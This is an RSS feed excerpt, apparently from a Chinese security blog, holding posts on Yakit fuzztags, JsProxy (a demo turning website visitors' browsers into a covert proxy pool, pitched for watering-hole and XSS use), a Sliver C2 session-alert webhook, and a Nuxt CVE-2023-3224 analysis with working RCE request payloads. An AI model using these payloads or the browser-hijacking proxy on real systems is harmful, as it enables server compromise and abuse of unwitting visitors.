src="https://wechat2rss.xlab.app/img-proxy/?k=a51e4c3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWhEkLo6LFrtVoXfCjGoC4ib6vC7wBQpo6icTqia7MuoskNVpPw2U2ghUpVw4SJR1qiclWYNmJRGTW23LQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;">原因：yakit默认不会对经过MITM PROXY的流量中的fuzztag进行解析，但是经过插件时会被解析，所以这也是利用限制。</p><p style="font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;margin-bottom: 0px !important;">顺便吐槽：yakit跑起来卡卡的，啥时候能优化到和burp一样啊。</p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a51e4c3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWhEkLo6LFrtVoXfCjGoC4ib6vC7wBQpo6icTqia7MuoskNVpPw2U2ghUpVw4SJR1qiclWYNmJRGTW23LQ%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247484236">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=716e3f09&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484236%26idx%3D1%26sn%3Def0c14a89721800b2311d0e487388399">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 10 Aug 2023 21:50:00 +0800</pubDate>
    </item>
    <item>
      <title>JsProxy: 所到之处皆为代理节点</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484228&amp;idx=1&amp;sn=c344f07f62e06855f2010717a30e5229</link>
      <description>一个利用浏览器当代理的demo项目，让所有访问者的浏览器成为自己的代理池，所到之处皆为代理节点.</description>
      <content:encoded><![CDATA[<p>
原创 <span>duckbubi</span> <span>2023-07-14 19:27</span> <span style="display: inline-block;">北京</span>
</p>

<p>一个利用浏览器当代理的demo项目，让所有访问者的浏览器成为自己的代理池，所到之处皆为代理节点.</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d514229e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWia7FeXmO8UIbiadeEICml9g5WtIrjuMIHN8oBQUh9POdQ3fvibMB7NDIMs43aVu9AJ1RaSdCFAoKAfA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="font-size: 16px;"><div style="text-align: center;margin-top: 10px;margin-right: 0%;margin-left: 0%;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;flex: 0 0 auto;height: auto;line-height: 1;letter-spacing: 0px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: -14px;margin-left: 0%;" powered-by="xiumi.us"><div style="color: rgb(215, 247, 244);font-size: 50px;line-height: 1;letter-spacing: 0px;"><p><strong>01</strong></p></div></div></div></div><div style="color: rgb(30, 212, 194);line-height: 1.8;letter-spacing: 1px;padding-right: 5px;padding-left: 5px;text-align: center;" powered-by="xiumi.us"><p>项目简介</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: 23px;vertical-align: top;flex: 0 0 auto;height: auto;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: 8px;margin-left: 0%;" powered-by="xiumi.us"><p style="background-color: rgb(247, 223, 21);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div powered-by="xiumi.us"><p style="text-wrap: wrap;"><span style="font-size: 15px;">这是一个利用浏览器当代理的 demo 项目，让所有访问者的浏览器成为自己的代理池，所到之处皆为代理节点。</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">项目使用了以下技术栈：</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">ServiceWorker + Go WebAssembly + WebSocket + Http Proxy</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">项目主要分为两个部分：</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">1. 客户端：用 sw 将 wasm 程序驻留在浏览器，然后通过 ws 与服务端建立联系，执行完服务端发送的请求后传给服务端做进一步处理。</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">2. 服务端：监听了两个端口，一个是 http 代理端口，一个是 ws 端口， http 代理端口收到请求信息后通过 ws 传给访问者浏览器的 wasm 程序来处理。</span></p></div><div style="text-align: center;margin-top: 10px;margin-right: 0%;margin-left: 0%;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;flex: 0 0 auto;height: auto;line-height: 1;letter-spacing: 0px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: -14px;margin-left: 0%;" powered-by="xiumi.us"><div style="color: rgb(215, 247, 244);font-size: 50px;line-height: 1;letter-spacing: 0px;"><p><strong>02</strong></p></div></div></div></div><div style="color: rgb(30, 212, 194);line-height: 1.8;letter-spacing: 1px;padding-right: 5px;padding-left: 5px;text-align: center;" powered-by="xiumi.us"><p>使用说明</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: 23px;vertical-align: top;flex: 0 0 auto;height: auto;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: 8px;margin-left: 0%;" powered-by="xiumi.us"><p style="background-color: rgb(247, 223, 21);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer"># 编译wasm</span></p><p><span class="code-snippet_outer">git clone https:<span class="code-snippet__comment">//github.com/TheKingOfDuck/jsproxy.git</span></span></p><p><span class="code-snippet_outer">cd jsproxy</span></p><p><span class="code-snippet_outer">#修改第<span class="code-snippet__number">82</span>行中的localhost为自己的ip</span></p><p><span class="code-snippet_outer">nano client/agent.go</span></p><p><span class="code-snippet_outer">./build.sh</span></p><p><span class="code-snippet_outer"># 启动http server</span></p><p><span class="code-snippet_outer">cd server</span></p><p><span class="code-snippet_outer">go mod tidy</span></p><p><span class="code-snippet_outer">go run httpserver.go</span></p><p><span class="code-snippet_outer"># 启动主程序</span></p><p><span class="code-snippet_outer">go run ws.go</span></p></pre></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5370370370370371" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8e7fcb4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWia7FeXmO8UIbiadeEICml9g5JRKBgIicN4gCQTw7RDBEYMLliajnSVcmYawvKfn9ibziczXnjZ6FhIkBvQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5175925925925926" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8112c5f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWia7FeXmO8UIbiadeEICml9g5mjLS1XkLULNej3vAM1zSzFf2Rxf1Lu7qALk0fm7kibEC8CiaLniaLkhRQ%2F640%3Fwx_fmt%3Djpeg"/></p><div style="text-align: center;margin-top: 10px;margin-right: 0%;margin-left: 0%;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;flex: 0 0 auto;height: auto;line-height: 1;letter-spacing: 0px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: -14px;margin-left: 0%;" powered-by="xiumi.us"><div style="color: rgb(215, 247, 244);font-size: 50px;line-height: 1;letter-spacing: 0px;"><p><strong>03</strong></p></div></div></div></div><div style="color: rgb(30, 212, 194);line-height: 1.8;letter-spacing: 1px;padding-right: 5px;padding-left: 5px;text-align: center;" powered-by="xiumi.us"><p>使用场景</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: 23px;vertical-align: top;flex: 0 0 auto;height: auto;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: 8px;margin-left: 0%;" powered-by="xiumi.us"><p style="background-color: rgb(247, 223, 21);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><p style="text-wrap: wrap;" powered-by="xiumi.us"><span style="font-size: 15px;">水坑漏洞保护、XSS 深度利用等等。</span></p><div style="text-align: center;margin-top: 10px;margin-right: 0%;margin-left: 0%;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;flex: 0 0 auto;height: auto;line-height: 1;letter-spacing: 0px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: -14px;margin-left: 0%;" powered-by="xiumi.us"><div style="color: rgb(215, 247, 244);font-size: 50px;line-height: 1;letter-spacing: 0px;"><p><strong>04</strong></p></div></div></div></div><div style="color: rgb(30, 212, 194);line-height: 1.8;letter-spacing: 1px;padding-right: 5px;padding-left: 5px;text-align: center;" powered-by="xiumi.us"><p>已知弊端</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: 23px;vertical-align: top;flex: 0 0 auto;height: auto;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: 8px;margin-left: 0%;" powered-by="xiumi.us"><p style="background-color: rgb(247, 223, 21);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">1. 支持不了 socks5 ，因为浏览器不支持发送 tcp 包。</p><p style="text-wrap: wrap;">2. 这只是随手写的 demo ，很多东西实战没有考虑进去。</p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8e7fcb4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWia7FeXmO8UIbiadeEICml9g5JRKBgIicN4gCQTw7RDBEYMLliajnSVcmYawvKfn9ibziczXnjZ6FhIkBvQ%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8112c5f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWia7FeXmO8UIbiadeEICml9g5mjLS1XkLULNej3vAM1zSzFf2Rxf1Lu7qALk0fm7kibEC8CiaLniaLkhRQ%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247484228">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f9b91f37&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484228%26idx%3D1%26sn%3Dc344f07f62e06855f2010717a30e5229">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Jul 2023 19:27:00 +0800</pubDate>
    </item>
    <item>
      <title>几行代码实现 Sliver 样本上线通知</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484220&amp;idx=1&amp;sn=dea54fae63847cb2046e834a50362712</link>
      <description>Sliver是一个好用的 C2 平台，支持多协议，样本混淆，代理，交互式 Shell ，并集成部分后渗透工具。</description>
      <content:encoded><![CDATA[<p>
原创 <span>medi0cr1ty</span> <span>2023-06-28 20:43</span> <span style="display: inline-block;">北京</span>
</p>

<p>Sliver是一个好用的 C2 平台，支持多协议，样本混淆，代理，交互式 Shell ，并集成部分后渗透工具。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f695b210&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblgsduxkepHib0Rbp4xMicvAGeicRWa4ESt46vhjem5aYJcyzzqHwK9rqvw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="font-size: 16px;"><div powered-by="xiumi.us"><p style="text-wrap: wrap;margin-bottom: 8px;"><span style="font-size: 15px;">Sliver是一个好用的 C2 平台，支持多协议，样本混淆，代理，交互式 Shell ，并集成部分后渗透工具。早期只能使用命令行翻文件相当不方便，后续官方出了一个不完善的 GUI ，功能虽然有各种问题，但翻文件是够用了。</span></p><p style="text-wrap: wrap;margin-bottom: 8px;"><span style="font-size: 15px;">但长期使用难免会有上线通知的需求，翻了下配置，<strong>官方暂无功能可支持</strong>。</span></p><p style="text-wrap: wrap;margin-bottom: 8px;"><span style="font-size: 15px;">在<a href="https://github.com/BishopFox/sliver/issues/870中翻到别人提的需求，好家伙，官方推荐使用第三方项目。" target="_blank">https://github.com/BishopFox/sliver/issues/870中翻到别人提的需求，好家伙，官方推荐使用第三方项目。</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6138888888888889" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4540eb4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblAyicGoqktmYPad5JpuLIH0EQN7m9SVKW4UNylrxibfhFGJ2BXfYmSwWA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-wrap: wrap;font-size: 16px;margin-bottom: 8px;"><span style="font-size: 15px;">在官方推荐的项目说明中(<span style="letter-spacing: 0.034em;"><a href="https://github.com/ezra-buckingham/sally-the-sliver-siren)" target="_blank">https://github.com/ezra-buckingham/sally-the-sliver-siren)</a> 不难发现该项目是用 python 实现了客户端登录，然后定时检查有哪些 session 在线。</span></span><span style="font-size: 15px;letter-spacing: 0.034em;">预期的想法应该是实现类似 cobaltstrike 的通知方式，使用插件实现 beacon_init 方法，</span><span style="font-size: 15px;letter-spacing: 0.034em;">并在该方法实现通知，当有 beacon 上线时触发。</span></p></div><div powered-by="xiumi.us" style="margin-bottom: 3px;text-wrap: wrap;font-size: 16px;"><p style="text-wrap: wrap;font-size: 16px;margin-bottom: 8px;margin-top: 8px;"><span style="font-size: 15px;">显然这个第三方工具不符合预期，故自己琢磨：</span></p><p style="text-wrap: wrap;font-size: 16px;margin-bottom: 8px;"><span style="font-size: 15px;">定位到 session 上线时的处理逻辑如下，不难发现上线动作完成后程序会记录一下日志，那么我们发通知也应该在这里介入：</span></p></div><div style="font-size: 14px;" powered-by="xiumi.us"><p style="text-align: left;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7620370370370371" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0922d14f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblTEAuzYuqsrVIrtHv8f72YkBAUJoU95hicQvUuF2zfN2EWPGlauMMHkw%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.578px;text-align: justify;font-size: 14px;"><a href="https://github.com/BishopFox/sliver/blob/01b370ba4488970d1d1bad9d13179a9a3e6e5bfc/server/handlers/sessions.go#L87" target="_blank">https://github.com/BishopFox/sliver/blob/01b370ba4488970d1d1bad9d13179a9a3e6e5bfc/server/handlers/sessions.go#L87</a></span></p><p style="text-wrap: wrap;font-size: 16px;line-height: 1.75em;margin-bottom: 8px;margin-top: 8px;"><span style="font-size: 15px;">进一步分析可以看到审计日志位于 <span style="letter-spacing: 0.034em;">~/.sliver/logs/audit.json</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7425925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b39e9182&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblPI6Iz5hkBYmMgFWybCm8J0S0yBTTsian1g1NGsYu8mbyXKRN9my1iaDw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 3px;text-wrap: wrap;font-size: 16px;line-height: 1.75em;margin-top: 8px;"><span style="font-size: 15px;">上线所有信息都有，那就简单了：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.1231481481481482" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f353b0b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblibRibARkibg4rrhtEITEuxYciaCzBsWSJcJsf4CRg493uJWciczP14DicUjg%2F640%3Fwx_fmt%3Dpng"/></p></div><div style="margin-bottom: 3px;text-wrap: wrap;font-size: 16px;" powered-by="xiumi.us"><p style="text-wrap: wrap;font-size: 16px;line-height: 1.75em;margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 15px;">跑在 sliver 的机器上，实时通知无延时，无需修改 sliver 的代码。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5078369905956113" data-s="300,640" style="" data-type="png" data-w="638" src="https://wechat2rss.xlab.app/img-proxy/?k=3315354b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPibl7Qm3uduJC8pW3LcZklBtnzA2MibxzFbdzytCIGo6LtrSicNT7NZiaX9Qg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-wrap: wrap;font-size: 16px;line-height: 1.75em;margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 15px;">目前代码已上传至 GitHub ，地址：</span><span style="font-size: 15px;"><a href="https://github.com/Phelaine/sliver-webhook" target="_blank">https://github.com/Phelaine/sliver-webhook</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8175925925925925" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=589bb7c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblHicjENDRdDh06iblVM2m0LSKOHjfCglfqd5HtTt5vqAx3mzib8MDGrxxw%2F640%3Fwx_fmt%3Dpng"/></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4540eb4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblAyicGoqktmYPad5JpuLIH0EQN7m9SVKW4UNylrxibfhFGJ2BXfYmSwWA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0922d14f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblTEAuzYuqsrVIrtHv8f72YkBAUJoU95hicQvUuF2zfN2EWPGlauMMHkw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b39e9182&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblPI6Iz5hkBYmMgFWybCm8J0S0yBTTsian1g1NGsYu8mbyXKRN9my1iaDw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f353b0b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblibRibARkibg4rrhtEITEuxYciaCzBsWSJcJsf4CRg493uJWciczP14DicUjg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3315354b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPibl7Qm3uduJC8pW3LcZklBtnzA2MibxzFbdzytCIGo6LtrSicNT7NZiaX9Qg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=589bb7c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhic5RQFlKXw5aRMEfIaXPiblHicjENDRdDh06iblVM2m0LSKOHjfCglfqd5HtTt5vqAx3mzib8MDGrxxw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484220">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=95565ca2&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484220%26idx%3D1%26sn%3Ddea54fae63847cb2046e834a50362712">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 28 Jun 2023 20:43:00 +0800</pubDate>
    </item>
    <item>
      <title>Nuxt开发模式下远程代码执行漏洞(CVE-2023-3224)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484208&amp;idx=1&amp;sn=275aa1ed6b05728125415b73dc0f73b6</link>
      <description>漏洞很简单，仅进行部分补充及记录</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-06-20 19:07</span> <span style="display: inline-block;">泰国</span>
</p>

<p>漏洞很简单，仅进行部分补充及记录</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=287bfffe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWiaH1vnvUU7r9djL5Dc5xxcUg3yq37iaUFyh6XXkaKSBsJEOE6h52GUELqvhCiaYT4EcuylkpmVIbkrA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="font-size: 16px;"><div style="font-size: 14px;" powered-by="xiumi.us"><p style="text-align: left;"><span style="letter-spacing: 0.034em;text-align: justify;">漏洞很简单，仅进行部分补充及记录</span></p></div><div style="font-size: 16px;"><div style="font-size: 14px;" powered-by="xiumi.us"><div style="font-size: 16px;"><div style="text-align: center;margin-top: 10px;margin-right: 0%;margin-left: 0%;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;flex: 0 0 auto;height: auto;line-height: 1;letter-spacing: 0px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: -14px;margin-left: 0%;" powered-by="xiumi.us"><div style="color: rgb(215, 247, 244);font-size: 50px;line-height: 1;letter-spacing: 0px;"><p><strong>01</strong></p></div></div></div></div><div style="color: rgb(30, 212, 194);line-height: 1.8;letter-spacing: 1px;padding-right: 5px;padding-left: 5px;text-align: center;" powered-by="xiumi.us"><p>漏洞概述</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: 23px;vertical-align: top;flex: 0 0 auto;height: auto;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: 8px;margin-left: 0%;" powered-by="xiumi.us"><p style="background-color: rgb(247, 223, 21);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 14px;" powered-by="xiumi.us"><p style="margin-bottom: 3px;text-wrap: wrap;">Nuxt在当服务端以开发模式启动时存在代码注入漏洞，远程未授权攻击者可利用此漏洞注入恶意代码并获取目标服务器权限。</p><p style="margin-bottom: 3px;text-wrap: wrap;">前置条件：服务端以开发模式启动。</p><p style="text-wrap: wrap;">影响版本：Nuxt 3.4.0；3.4.1；3.4.2</p></div><div style="text-align: center;margin-top: 10px;margin-right: 0%;margin-left: 0%;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;flex: 0 0 auto;height: auto;line-height: 1;letter-spacing: 0px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: -14px;margin-left: 0%;" powered-by="xiumi.us"><div style="color: rgb(215, 247, 244);font-size: 50px;line-height: 1;letter-spacing: 0px;"><p><strong>02</strong></p></div></div></div></div><div style="color: rgb(30, 212, 194);line-height: 1.8;letter-spacing: 1px;padding-right: 5px;padding-left: 5px;text-align: center;" powered-by="xiumi.us"><p>漏洞分析</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;" powered-by="xiumi.us"><div style="display: inline-block;width: 23px;vertical-align: top;flex: 0 0 auto;height: auto;align-self: flex-start;"><div style="margin-right: 0%;margin-bottom: 8px;margin-left: 0%;" powered-by="xiumi.us"><p style="background-color: rgb(247, 223, 21);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 14px;" powered-by="xiumi.us"><p style="margin-bottom: 3px;text-wrap: wrap;">环境搭建（三步）：</p><p style="text-wrap: wrap;">1、初始化</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><p><span class="code-snippet_outer">npm init -y</span></p></pre></p><div style="font-size: 14px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">2、依赖安装</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><p><span class="code-snippet_outer">npm install nuxt@3.4.0</span></p></pre></p><div style="font-size: 14px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">3、启动</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">npx nuxi dev</span></p></pre></p><div powered-by="xiumi.us"><p style="margin-bottom: 3px;text-wrap: wrap;"><span style="font-size: 14px;">根据漏洞补丁可知，漏洞触发点在 nuxt-root.vue 对 /__nuxt_component_test__/ 开头的 URL进行处理，交由 test-component-wrapper.mjs ，在这里根据 query 中 path 参数值进行动态引入，导致可注入任意代码。</span></p><p style="text-wrap: wrap;"><span style="font-size: 14px;">POC：</span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer">/__nuxt_component_test__/?path=data%3atext/javascript,console.log(&#34;test!&#34;);</span></p></pre></p><div style="font-size: 14px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5518518518518518" data-s="300,640" style="font-size: 14px;letter-spacing: 0.578px;text-align: center;text-wrap: wrap;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6e136df1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWiaH1vnvUU7r9djL5Dc5xxcUarMKsenGiccVEM5Dp92KYcByNN9Hlcr3F51UMFOTnqiamfxee6px0trQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-wrap: wrap;margin-top: 8px;">RCE：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><p><span class="code-snippet_outer">/__nuxt_component_test__/?path=data%3atext/javascript,(await%20import(<span class="code-snippet__string">&#39;child_process&#39;</span>)).execSync(<span class="code-snippet__string">&#39;calc&#39;</span>)</span></p></pre></p><div style="font-size: 14px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5537037037037037" data-s="300,640" style="font-size: 14px;letter-spacing: 0.578px;text-align: center;text-wrap: wrap;" data-type="png" data-w="1080" 